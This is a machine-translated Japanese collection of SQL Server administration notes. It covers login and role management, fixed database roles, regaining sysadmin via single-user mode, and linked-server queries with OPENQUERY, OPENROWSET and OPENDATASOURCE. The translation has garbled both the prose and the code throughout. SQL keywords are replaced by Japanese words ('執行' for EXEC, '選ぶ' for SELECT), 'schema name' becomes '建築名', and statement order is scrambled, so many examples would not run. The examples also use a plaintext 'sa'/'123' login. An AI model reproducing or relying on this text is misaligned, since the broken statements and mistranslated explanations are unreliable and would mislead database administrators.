b) PLSQL構文を使用する: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS ')
c) 2番目のアクセス方法は最初の方法より約50%高速です。 2つ目のアクセス方法は直接接続されています
ORACLEも同様です。 ファーストアクセス方式は、次のような予期せぬエラーを引き起こすことがあります: テーブルは存在せず、現在のユーザーも存在しません
テーブルへのアクセスもできません。
d) アクセスが必要な列が精度のないデータ型を使用する場合、これらの両方が適用されます
これはORACLEのバグであり、修正できず、クエリ文の特別な処理によってのみ回避可能です。
OLE DBプロバイダー「OraOLEDB.Oracle」が提供するカラムのメタデータは一貫していません。 メタデータ情報は実行時に変更されます。
MSSQLが追加されました
ユーザーを削除し、権限を与える
図書館名を使ってください 行け --ユーザー追加 exec sp_addlogin 「テスト」 -- ログインを追加 エグゼクティブ
sp_grantdbaccess N'test」 - 現在のデータベースの正当なユーザーになること エグゼクティブ・sp_addrolemember・ンdb_owner」、
N'test」 - 自分のデータベースにすべての権限を与える --これにより、ユーザーは自分のデータベースとデータベースに含まれるものしかアクセスできません
ゲストユーザー向けのパブリックテーブル 行け --テストユーザーを削除 exec sp_revokedbaccess N'test' -- データベースへのアクセスを解除する
制限 exec sp_droplogin N'test' -- ログインを削除 Enterprise Managerで作成する場合は、以下を使いましょう: エンタープライズマネージャー - セキュリティ
性別 ― 右クリック ログイン ― 新しいログイン 一般項目 --名前にユーザー名を入力してください
--認証方法はあなたのニーズに応じて選択されます(Windows認証を使用している場合は、まずオペレーティングシステムのユーザーから新しいユーザーを作成する必要があります)
--デフォルト設定で、新しいユーザーのためにアクセスしたいデータベース名を選択してください サーバー役割項目 この中で何も選ばないでください データベース
アクセス項目 作成したユーザーに対してアクセスしたいデータベース名を確認してください データベースロールを許可し、「public」「db_ownew」をチェックしてください。 もちろん、これだ
サンプルによって作成されたユーザーは、上記の文で作成されたユーザーと同じです
最後のステップは、特定のユーザーごとに特定のアクセス権限を設定することです。これは以下の最小限の例を参照できます:
--指定されたテーブルのみアクセスが許可されているユーザーを追加: exec sp_addlogin 「username」「password」「default database name」
--データベースに追加 exec sp_grantdbaccess 'username'
--テーブル全体の権限を割り当てる テーブル1から[ユーザー名]へ 選択許可、選択、挿入、更新、削除 -特定の列に権限を割り当てる GRANT SELECT, TABLE 1(id,AA) で[username] に更新
具体的なセキュリティ設定や理論的知識については、SQL Online Helpをご覧ください
固定データベース役割の記述 db_owner データベースに完全な権限を持っています。
db_accessadmin ユーザーIDの追加や削除が可能です。
db_securityadmin 完全な権限、オブジェクト所有権、ロール、ロールメンバーシップを管理できます。
db_ddladminすべてのDDLを発行できますが、GRANT、REVOKE、DENYの声明は発行できません。
db_backupoperator DBCC、CHECKPOINT、BACKUPの文を発行できます。
db_datareader データベース内の任意のユーザーテーブルからすべてのデータを選択できます。
db_datawriter データベース内の任意のユーザーテーブルのすべてのデータを変更できます。
db_denydatareader データベース内のどのユーザーテーブルからもデータを選択することはできません。
db_denydatawriter データベース内のどのユーザーテーブルのデータも変更できません。
db_datareader、db_datawriter、db_accessadminを選んでください。
5. SQL Serverインスタンスがシングルユーザーモードで起動した後、Windows管理者アカウントはsqlcmdツールを使ってWindows認証モードで接続できます
SQL Server。 「sp_addsrvrolemember」などのT-SQLコマンドを使って、既存のログインをシステム管理者サーバーの役割に追加できます
または新しいログインアカウントを作成することもあります。 例文は以下の通りです:
執行sp_addsrvrolemember「CONTOSO\Buck」「sysadmin」;
行け
システム管理者権限の追加
(1) サーバーロールの管理
SQL Serverでは、SQL Serverの役割管理を実装する主に2つのストアドプロシージャがあります。
sp_addsrvrolemember
そしてsp_dropsrvrolemember
sp_addsrvrolemember サーバーロールにログインアカウントを追加すれば、そのサーバーロールのメンバーにできます。 構文は以下の通りです。 sp_addsrvrolemember
ログイン、役割
sp_dropsrvrolemember サーバーロールからログインアカウントを削除でき、そのメンバーがサーバーロールから削除されると、そのサーバーロールはそのサーバーロールを持たなくなります
権限設定。 構文は以下の通りです。 sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'
さあ、
@loginnameはログインしたユーザーの名前です。 @rolenameサーバーの役割です。
(2) データベースの役割管理
SQL Serverではデータベース管理がサポートされています
ストアドプロシージャには主に6種類あり、それぞれの具体的な意味と構文は以下の通りです。
sp_addrole:新しいデータベースロールを作成するために使用; sp_addrole
役割、オーナー
sp_droprole:現在のデータベースロールからデータベースの役割を削除するために使用されます。 sp_droprole役
sp_helprole:
現在のデータベース内のすべてのデータベース役割に関する情報を表示するために使われます。 sp_helprole [「役割」]
sp_addrolemember:データベースへの送信に使われました
ロールにデータベースユーザーを追加することは、ユーザー定義の標準ロールでも固定されたデータベースロールでも可能ですが、追加することはできません
アプリケーションの役割。 sp_addrolemember役割、security_account
sp_droprolemember:特定のキャラクターを削除するために使われました
世帯、 sp_droprolemember役、security_account
sp_helprolemember:データベース役割のすべてのメンバーを表示するために使われました
。 sp_helprolemember [「役割」]
MSSQL LINKSERVER クエリ
---------------------------------------------------------------------------------- -- 著者:
htl258(トニー) -- 日付:2010-06-25 22:23:18 -- バージョン: Microsoft SQL Server 2008 (RTM) -
10.0.1600.22(Intel X86) -- 2008年7月9日 14:43:34 -- 著作権 (c) 1988-2008 Microsoft Corporation --
Windows NT 5.1(ビルド2600:サービスパック2)での開発者版 -- ブログ : -- 件名: 異なるサーバーデータベース間のSQLデータ操作 ---------------------------------------------------------------------------------- --1. リンクサーバーを作成する --1.1 リンク名の作成 EXEC sp_addlinkedserver 『LinkName』、『SQLOLEDB』、リモートサーバー名
またはIPアドレスの -- カスタムインスタンス名がある場合は「\instance name」を追加してください。
/*例如:EXEC sp_addlinkedserver
'TonyLink','','SQLOLEDB','192.168.58.208' */ --1.2 ログインを作成する(またはリンクサーバーのログインマップを作成する)(どちらか一方を選ぶだけ) --1.2.1 Windows認証でログイン 執行部sp_addlinkedsrvlogin「リンクネーム」 ――またはEXEC sp_addlinkedsrvlogin「LinkName」、「true」
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */ --1.2.2 SQL認証でログイン 執行sp_addlinkedsrvlogin「リンク名」「false」「NULL」「ユーザー名」「パスワード」
/*例如:EXEC
sp_addlinkedsrvlogin 「TonyLink」「false」「null」「sa」「123」 */ --2. リンクサーバー関連データ操作 --2.1 クエリ例 SELECT * FROM LinkName.database name.schema name.table name
/*例如:SELECT *
TonyLink.Mydb.dbo.tb より */ -- 2.2 インポート例 SELECT * INTO table name from linkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb
TonyLink.Mydb.dbo.tb より */ -- 2.3 アップデート例 更新:LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE
TonyLink.Mydb.dbo.tb SET Persons='g' WHERE Persons='a' */ -- 2.4 削除例 DELETE LinkName.Database Name.Schema Name.Table Name WHEREFIELD name ='condition'
/*例如:DELETE
TonyLink.Mydb.dbo.tb WHERE Persons='g' */ --3 は rowset 関数(OPENQUERY/OPENROWSET/OPENDATASOURCE)で処理します。
方法
- 3.1 OPENQUERYメソッド(作成したリンクサーバーの助けが必要): -- 3.1.1 クエリの例 SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM DATABASE NAME. 建築名。 テーブル名」)
/* 例えば: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */ -- 3.1.2 インポート例 --3.1.2.1 すべての列をインポートする INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. 建築名。 テーブル名
') ローカルテーブルから SELECT *
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *
TBより */ --3.1.2.2 指定された列をインポートしてください INSERT OPENQUERY(LinkName, 'SELECT * FROM database name. 建築名。 テーブル名')(列、列...) SELECT列、
コラム... ローカルテーブルから
/* 例えば: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons) 選ぶ
範囲、レベル、TBからの人物 */ --3.1.3 アップデートの例 OPENQUERY(LinkName, 'SELECT * FROM データベース名から。 建築名。 テーブル名') SET field = 'value' ここで単語
セグメント = 「状態」
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE
Persons='a' */ --3.1.4 例を削除 DELETE OPENQUERY(LinkName, 'SELECT * FROM database name. 建築名。 テーブル名') ここでフィールド名='condition'
/*例
例えば: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */ --3.2 OPENROWSETメソッド(作成したリンク名を使う必要はありません)。 接続されたインスタンス名がデフォルトでない場合は、SQLサーバー名かIPアドレスで設定する必要があります。
「\インスタンス名」) --3.2.1 クエリの例 --3.2.1.1 Windows認証方法クエリ(以下のいずれかの方法で十分) SELECT * FROM OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER NAME OR
IPアドレス; Trusted_Connection=yes'、データベース名。 建築名。 テーブル名) SELECT * FROM OPENROWSET('SQLNCLI',
'server=sql サーバー名またはIPアドレス; Trusted_Connection=yes'、データベース名。 建築名。 テーブル名) 選択 *
OPENROWSET('SQLOLEDB', 'server=sql server name or IP address; Trusted_Connection=yes','SELECT * FROM DATABASE
名前。 建築名。 テーブル名」) SELECT * FROM OPENROWSET('SQLNCLI', 'SERVER=SQL SERVER NAME OR IP ADDRESS)
住所; Trusted_Connection=yes','SELECT * FROM データベース名。 建築名。 テーブル名」)
/* 例えば:SELECT * FROM OPENROWSET
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes', Mydb.dbo.tb)
または:OPENROWSETから* 選択
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes', Mydb.dbo.tb)
または: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
Mydb.dbo.tb'より)
または: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes','SELECT *
Mydb.dbo.tb'より) */ --3.2.1.2 SQL認証方法クエリ(以下のいずれかの方法で十分) OPENROWSETから* 選択
(「SQLOLEDB'、サーバー=sql サーバー名またはIPアドレス; uid=username; pwd=password'、データベース名。 建築名。 テーブル名) 選択 *
OPENROWSET('SQLNCLI', 'server=sql server name or IP address; uid=username; pwd=password'、データベース名。 建築名。 テーブル名) OPENROWSET('SQLOLEDB', 'server=sql server name or IP address; uid=username; pwd=password','SELECT *
データベース名から。 建築名。 テーブル名」) OPEN ROWSET('SQLNCLI', 'server=sql server name or IP address; uid=
ユーザー名; pwd=password','SELECT * FROM データベース名。 建築名。 テーブル名」) SELECT * FROM OPENROWSET('SQLOLEDB', 'SQL
サーバー名」; 「username」; 「password」、データベース名。 建築名。 テーブル名) SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER NAME
'; 「username」; 「password」、データベース名。 建築名。 テーブル名) SELECT * FROM OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ユーザー
名前; 「パスワード」、「データベース名から*選択」 建築名。 テーブル名」) SELECT * FROM OPENROWSET('SQLNCLI', 'SQL SERVER
名前; 「username」; 「パスワード」、「データベース名から*選択」 建築名。 テーブル名」)
/* 例如:SELECT * FROM OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) または:OPENROWSETから* 選択
('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) または:OPENROWSETから* 選択
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')
または: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM
Mydb.dbo.tb')
または: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 「サ」; 『123』、mydb.dbo.tb)
または: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 「サ」; 『123』、mydb.dbo.tb)
または: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 「サ」; 『123』、『Mydb.dbo.tbから選択』)
または: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 「サ」; 『123』、『Mydb.dbo.tbから選択』) */ --3.2.2 インポート例 --3.2.2.1 すべての列をインポートする INSERT OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER NAME OR IP ADDRESS
住所; uid=username; pwd=password'、データベース名。 建築名。 テーブル名) ローカルテーブルから * 選択
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) TBから選択 */ --3.2.2.2 インポート
列を指定する INSERT OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER NAME OR IP ADDRESS; uid=username; pwd=password'、データベース名。 ラック
構造体名。 テーブル名)(列、列...) SELECT列、列... ローカルテーブルから
/* 例如:INSERT OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123', mydb.dbo.tb)(RANGE, LEVEL, Persons) 選ぶ
範囲、レベル、TBからの人物 */ --注:より代替的な方法については、.2.1クエリの例を参照してください。OPENROWSET関数を置き換えてください
内容は十分です。 --3.2.3 更新例 UPDATE OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER NAME OR IP ADDRESS; uid=username
;p wd=password'、データベース名。 建築名。 テーブル名) SET field = 「値」 ここでfield = 「条件」
/*例如:UPDATE OPENROWSET
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) SET Persons='g' ここで Persons='a' */ --注:より代替的な方法については、.2.1クエリの例を参照してください。OPENROWSETの内容を置き換えるだけです。 --3.2.4 表示を削除する
例 DELETE OPENROWSET('SQLOLEDB', 'SERVER=SQL SERVER NAME OR IP ADDRESS; uid=username; pwd=password'、データベース名。 スキーマ名
.table名) ここでフィールド名='condition'
/* 例えば: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb) どこ
Persons='g' */ ――注: より代替的な方法については、.2.1クエリの例を参照してください。OPENROWSETの内容を置き換えるだけです。 --3.3 OPENDATASOURCEメソッド
(作成したリンク名を使う必要はありません。) 接続のインスタンス名がデフォルトでない場合は、SQL Server名やIPアドレスの後に\instance名を追加する必要があります
") --3.3.1 クエリの例 --3.3.1.1 Windows認証方法クエリ(以下のいずれかの方法で十分) SELECT * FROM OPENDATASOURCE('SQLOLEDB',
'server=sql サーバー名またはIPアドレス; Trusted_Connection=はい))。データベース名。 建築名。 テーブル名 選択 *
OPENDATASOURCE('SQLNCLI', 'server=sql server name または IP アドレス; Trusted_Connection=はい))。データベース名。 建築名。
テーブル名
/* 例:OPEN DATASOURCEから* SELECT
('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=はい」)。 Mydb.dbo.tb
または:OPENDATASOURCEから*選択
('SQLNCLI','Server=192.168.58.208; Trusted_Connection=はい」)。 Mydb.dbo.tb */ --3.3.1.2 SQL認証方法クエリ(以下のいずれかの方法で十分) SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'SERVER=SQL SERVER NAME OR
IPアドレス; uid=username; pwd=password')を担当します。 データベース名。 建築名。 テーブル名 SELECT * FROM OPENDATASOURCE('SQLNCLI', 'SERVER=SQL SERVER NAME OR IP ADDRESS; uid=ユーザー
名前; pwd=password')を担当します。 データベース名。 建築名。 テーブル名 SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=sql server name or IP address
住所; uid=username; pwd=password')を担当します。 データベース名。 建築名。 テーブル名 SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=SQL Server name or IP address
住所; uid=username; pwd=password')を担当します。 データベース名。 建築名。 テーブル名
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
または: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
または: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data
出典=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
または: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data)'
source=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ すべての列をインポートする INSERT OPENDATASOURCE('SQLOLEDB', 'SERVER=SQL SERVER NAME OR IP ADDRESS; uid=username; pwd=password')を担当します。
図書館の名前によると。 建築名。 テーブル名 ローカルテーブルから * 選択
/* 例えば: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb 選ぶ
* TBより */ --3.3.2.2 指定された列をインポートしてください INSERT OPENDATASOURCE('SQLOLEDB', 'SERVER=SQL SERVER NAME OR IP ADDRESS; uid=username; pwd=password')を担当します。
図書館の名前によると。 建築名。 テーブル名(列、列など) SELECT列、列... ローカルテーブルから
/* 例えば: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(射程、レベル、人物) TBから範囲、レベル、人物を選択してください */ ――注: より代替的な方法については、.3.1クエリの例を参照してください。行集合関数(OPENDATASOURCE)の内容を置き換えるだけです。 --3.3.3 更新例 UPDATE OPENDATASOURCE('SQLOLEDB', 'SERVER=SQL SERVER NAME OR IP ADDRESS; uid=username; pwd=password')を担当します。 データベース名。 建築名。 テーブル名 SET field = 「値」 ここでfield = 「条件」
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Persons='g' ここで Persons='a' */ ――注: より代替的な方法については、.3.1クエリの例を参照してください。行集合関数(OPENDATASOURCE)の内容を置き換えるだけです。 --3.3.4 削除例 OPEN DATASOURCE('SQLOLEDB', 'server=sql server name or IP address; uid=username; pwd=password')を担当します。 データベース名。 建築名。 テーブル名 ここでフィールド名='condition'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ここで Persons='g' */ - 注:その他の代替案
.3.1クエリの例を参照してください。rowset関数(OPENDATASOURCE)の内容を置き換えるだけです。 -- リンクされたサーバーを削除する方法を --今後リンク情報を使わなくなった場合は、リンク情報を削除できます --4.1 ログイン情報を削除(またはリンクされたサーバーのログイン名マップを削除) 執行sp_droplinkedsrvlogin「リンクネーム」、NULL
/* 例えば:EXEC sp_droplinkedsrvlogin 『TonyLink』、NULL */ --4.2 リンクされたサーバー名を削除してください 執行委員会sp_dropserver「LinkName」や「droplogins」――droploginsが指定されている場合、 リンクされたサーバーを削除する前にログインマップを削除しなければならない
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--添付
: プロバイダー名(EXEC master)を取得する方法。 xp_enum_oledb_providers) キャストを選択してください([プロバイダー名] AS
VARCHAR(30)) プロバイダー名、 CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion 差出人
OPENROWSET( 「SQLOLEDB」、 'Server=.; Trusted_Connection=はい」、 「ちょっと動かせばいい; 執行部
師匠... xp_enum_oledb_providers
)
|